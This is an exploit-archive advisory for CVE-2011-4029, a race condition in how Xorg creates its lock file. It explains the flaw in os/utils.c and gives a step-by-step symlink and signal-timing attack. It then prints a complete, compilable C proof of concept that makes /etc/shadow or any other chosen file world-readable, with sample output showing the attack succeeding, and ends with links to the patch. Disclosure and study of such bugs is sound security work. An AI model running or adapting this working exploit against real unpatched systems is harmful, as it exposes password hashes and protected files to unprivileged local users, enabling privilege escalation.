Xorg Permission Change



EKU-ID: 1204 CVE: 2011-4029 OSVDB-ID:
Author: vladz Published: 2011-10-28 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


Author:        vladz <vladz@devzero.fr> (new on twitter @v14dz!)
Description:   Xorg permission change vulnerability (CVE-2011-4029)
Product:       X.Org (http://www.x.org/releases/)
Affected:      Xorg 1.4 to 1.11.2 in all configurations.  Xorg 1.3 and
               earlier if built with the USE_CHMOD preprocessor identifier

PoC tested on: Debian 6.0.2 up to date with X default configuration issued
               from the xserver-xorg-core package (version 2:1.7.7-13)

Follow-up:     2011/10/07 - X.org foundation informed
               2011/10/09 - Distros informed
               2011/10/18 - Issue/patch publicly announced


Introduction
------------

I've found a file permission change vulnerability in the way that Xorg
creates its temporary lock file "/tmp/.tXn-lock" (where 'n' is the X
display).  When exploited, this vulnerability allows a non-root user to set
the read permission for all users on any file or directory.

For the exploit to succeed the local attacker needs to be able to run the
X.Org X11 X server.

NOTE:  At this time (26/10/2010), some distros are still vulnerable (see
       "Fix & Patch" above for more informations).


Description
-----------

Once started, Xorg attempts to create a lock file "/tmp/.Xn-lock" in a
secure manner:  it creates/opens a temporary lock file "/tmp/.tXn-lock"
with the O_EXCL flag, writes the current PID into it, links it to the final
"/tmp/.Xn-lock" and unlink "/tmp/.tXn-lock".  Here is the code:

  $ cat -n os/utils.c
  [...]
  288   /*
  289    * Create a temporary file containing our PID.  Attempt three times
  290    * to create the file.
  291    */
  292   StillLocking = TRUE;
  293   i = 0;
  294   do {
  295     i++;
  296     lfd = open(tmp, O_CREAT | O_EXCL | O_WRONLY, 0644);
  297     if (lfd < 0)
  298        sleep(2);
  299     else
  300        break;
  301   } while (i < 3);
  302   if (lfd < 0) {
  303     unlink(tmp);
  304     i = 0;
  305     do {
  306       i++;
  307       lfd = open(tmp, O_CREAT | O_EXCL | O_WRONLY, 0644);
  308       if (lfd < 0)
  309          sleep(2);
  310       else
  311          break;
  312     } while (i < 3);
  313   }
  314   if (lfd < 0)
  315     FatalError("Could not create lock file in %s\n", tmp);
  316   (void) sprintf(pid_str, "%10ld\n", (long)getpid());
  317   (void) write(lfd, pid_str, 11);
  318   (void) chmod(tmp, 0444);
  319   (void) close(lfd);
  320 
  [...]
  328     haslock = (link(tmp,LockFile) == 0);
  329     if (haslock) {
  330       /*
  331        * We're done.
  332        */
  333       break;
  334     }
  335     else {
  336       /*
  337        * Read the pid from the existing file
  338        */
  339       lfd = open(LockFile, O_RDONLY);
  340       if (lfd < 0) {
  341         unlink(tmp);
  342         FatalError("Can't read lock file %s\n", LockFile);
  343       }
  [...]

As a reminder, chmod() operates on filenames rather than on file handles.
So in this case, at line 318, there is no guarantee that the file
"/tmp/.tXn-lock" still refers to the same file on disk that it did when it
was opened via the open() call.  See TOCTOU vulnerability explained on
OWASP[1] for more informations.

The idea here is to remove and replace (by a malicious symbolic link), the
"tmp" file ("/tmp/.tXn-lock") between the call to open() at line 296 and
the call to chmod() at line 318.  But for a non-root user, removing this
file looks impossible as it is located in a sticky bit directory ("/tmp")
and owned by root.

But, what if we launch two Xorg processes with an initial offset (few
milliseconds) so that the first process unlink() (line 341) the "tmp" file
right before the second process calls chmod()?  This race condition would 
consists in placing unlink() between open() and chmod().  It sounds very 
difficult because there is only one system call between them (and maybe not
enough time to perform unlink() and create our symbolic link):

  # strace X :1
  [...]
  open("/tmp/.tX1-lock", O_WRONLY|O_CREAT|O_EXCL, 0644) = 0
  write(0, "      2192\n", 11)            = 11
  chmod("/tmp/.tX1-lock", 0444)           = 0

Anyway, we can make this possible by sending signals SIGCONT and SIGSTOP[2]
to our process.  As they are not trapped by the program, they will allow us
to control and regulate (by stopping and resuming) the execution flow.

Here is how to proceed:

  1) launch the X wrapper (pid=n)
  2) stop it (by sending SIGSTOP to 'n') rigth after "/tmp/.tX1-lock" is
     created (this actually means that the next instruction is chmod())
  3) launch another X process to unlink() /tmp/.tX1-lock
  4) create the symbolic link "/tmp/.tX1-lock" -> "/etc/shadow"
  5) send SIGCONT to 'n' to perform chmod() on our link

The minor problem is that when launching X several times (for race
purpose), it makes the console switch between X and TTY, and in some cases,
it freezes the screen and disturbs the attack.  The solution is to make X
exit before it switches by creating a link "/tmp/.Xn-lock" (real lock
filename) to a file that doesn't exist.  This will make the open() call
fails at line 339, and quit with FatalError() at 342.

So before our 5 steps, we just need to add:

  0) create the symbolic link "/tmp/.X1-lock" -> "/dontexist"


Proof Of Concept
----------------

/* xchmod.c -- Xorg file permission change vulnerability PoC

   This PoC sets the rights 444 (read for all) on any file specified as
   argument (default file is "/etc/shadow").  Another good use for an
   attacker would be to dump an entire partition in order to disclose its
   full content later (via a "mount -o loop").  Made for EDUCATIONAL
   PURPOSES ONLY!  CVE-2011-4029 has been assigned.

   In some configurations, this exploit must be launched from a TTY
   (switch by typing Ctrl-Alt-Fn).

   Tested on Debian 6.0.2 up to date with X default configuration issued
   from the xserver-xorg-core package (version 2:1.7.7-13).

   Compile:  cc xchmod.c -o xchmod
   Usage:    ./xchmod [/path/to/file]    (default file is /etc/shadow)

   $ ls -l /etc/shadow
   -rw-r----- 1 root shadow 1072 Aug  7 07:10 /etc/shadow
   $ ./xchmod
   [+] Trying to stop a Xorg process right before chmod()
   [+] Process ID 4134 stopped (SIGSTOP sent)
   [+] Removing /tmp/.tX1-lock by launching another Xorg process
   [+] Creating evil symlink (/tmp/.tX1-lock -> /etc/shadow)
   [+] Process ID 4134 resumed (SIGCONT sent)
   [+] Attack succeeded, ls -l /etc/shadow:
   -r--r--r-- 1 root shadow 1072 Aug  7 07:10 /etc/shadow

   -----------------------------------------------------------------------

    "THE BEER-WARE LICENSE" (Revision 42):
    <vladz@devzero.fr> wrote this file. As long as you retain this notice
    you can do whatever you want with this stuff. If we meet some day, and
    you think this stuff is worth it, you can buy me a beer in return. -V.
*/
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <syscall.h>
#include <signal.h>
#include <string.h>
#include <stdlib.h>


#define XORG_BIN     "/usr/bin/X"
#define DISPLAY      ":1"


char *get_tty_number(void) {
  char tty_name[128], *ptr;

  memset(tty_name, '\0', sizeof(tty_name));
  readlink("/proc/self/fd/0", tty_name, sizeof(tty_name));

  if ((ptr = strstr(tty_name, "tty")))
    return ptr + 3;

  return NULL;
}

int launch_xorg_instance(void) {
  int child_pid;
  char *opt[] = { XORG_BIN, DISPLAY, NULL };

  if ((child_pid = fork()) == 0) {
    close(1); close(2);
    execve(XORG_BIN, opt, NULL);
    _exit(0);
  }

  return child_pid;
}

void show_target_file(char *file) {
  char cmd[128];

  memset(cmd, '\0', sizeof(cmd));
  sprintf(cmd, "/bin/ls -l %s", file);
  system(cmd);
}

int main(int argc, char **argv) {
  pid_t proc;
  struct stat st;
  int n, ret, current_attempt = 800;
  char target_file[128], lockfiletmp[20], lockfile[20], *ttyno;

  if (argc < 2)
    strcpy(target_file, "/etc/shadow");
  else
    strcpy(target_file, argv[1]);

  sprintf(lockfile, "/tmp/.X%s-lock", DISPLAY+1);
  sprintf(lockfiletmp, "/tmp/.tX%s-lock", DISPLAY+1);

  /* we must ensure that Xorg is not already running on this display */
  if (stat(lockfile, &st) == 0) {
    printf("[-] %s exists, maybe Xorg is already running on this"
           " display?  Choose another display by editing the DISPLAY"
           " attributes.\n", lockfile);
    return 1; 
  }

  /* this avoid execution to continue (and automatically switch to another
   * TTY).  Xorg quits with fatal error because the file that /tmp/.X?-lock
   * links does not exist.
   */
  symlink("/dontexist", lockfile);

  /* we have to force this mask to not comprise our later checks */
  umask(077);

  ttyno = get_tty_number();

  printf("[+] Trying to stop a Xorg process right before chmod()\n");
  while (--current_attempt) {
    proc = launch_xorg_instance();

    n = 0;
    while (n++ < 10000)
      if ((ret = syscall(SYS_stat, lockfiletmp, &st)) == 0)
	break;

    if (ret == 0) {
      syscall(SYS_kill, proc, SIGSTOP);
      printf("[+] Process ID %d stopped (SIGSTOP sent)\n", proc);

      stat(lockfiletmp, &st);
      if ((st.st_mode & 4) == 0)
	break;

      printf("[-] %s file has wrong rights (%o)\n"
	     "[+] removing it by launching another Xorg process\n",
	     lockfiletmp, st.st_mode);
      launch_xorg_instance();
      sleep(7);
    }

    kill(proc, SIGKILL);
  }

  if (current_attempt == 0) {
    printf("[-] Attack failed.\n");

    if (!ttyno)
      printf("Try with console ownership: switch to a TTY* by using "
	     "Ctrl-Alt-F[1-6] and try again.\n");

    return 1;
  }

  printf("[+] Removing %s by launching another Xorg process\n",
         lockfiletmp);
  launch_xorg_instance();
  sleep(7);

  if (stat(lockfiletmp, &st) == 0) {
    printf("[-] %s lock file still here... :(\n", lockfiletmp);
    return 1;
  }

  printf("[+] Creating evil symlink (%s -> %s)\n", lockfiletmp,
         target_file);
  symlink(target_file, lockfiletmp);

  printf("[+] Process ID %d resumed (SIGCONT sent)\n", proc);
  kill(proc, SIGCONT);

  /* wait for chmod() to finish */
  usleep(300000);

  stat(target_file, &st);
  if (!(st.st_mode & 004)) {
    printf("[-] Attack failed, rights are %o.  Try again!\n", st.st_mode);
    return 1;
  }

  /* cleaning temporary link */
  unlink(lockfile);

  printf("[+] Attack succeeded, ls -l %s:\n", target_file);
  show_target_file(target_file);

  return 0;
}


Fix & Patch
------------

A fix for this vulnerability is available and will be included in xserver
1.11.2 and xserver 1.12. 

  http://cgit.freedesktop.org/xorg/xserver/commit/?id=b67581cf825940fdf52bf2e0af4330e695d724a4

Some distros released new Xorg packages (Ubuntu, Gentoo) since others (like
Debian) judge this as a non-critical issue:

  http://security-tracker.debian.org/tracker/CVE-2011-4029


Footnotes & links
-----------------

[1] https://www.owasp.org/index.php/File_Access_Race_Condition:_TOCTOU

[2] http://en.wikipedia.org/wiki/SIGCONT
    "SIGCONT is the signal sent to restart a process previously paused by
    the SIGSTOP signal".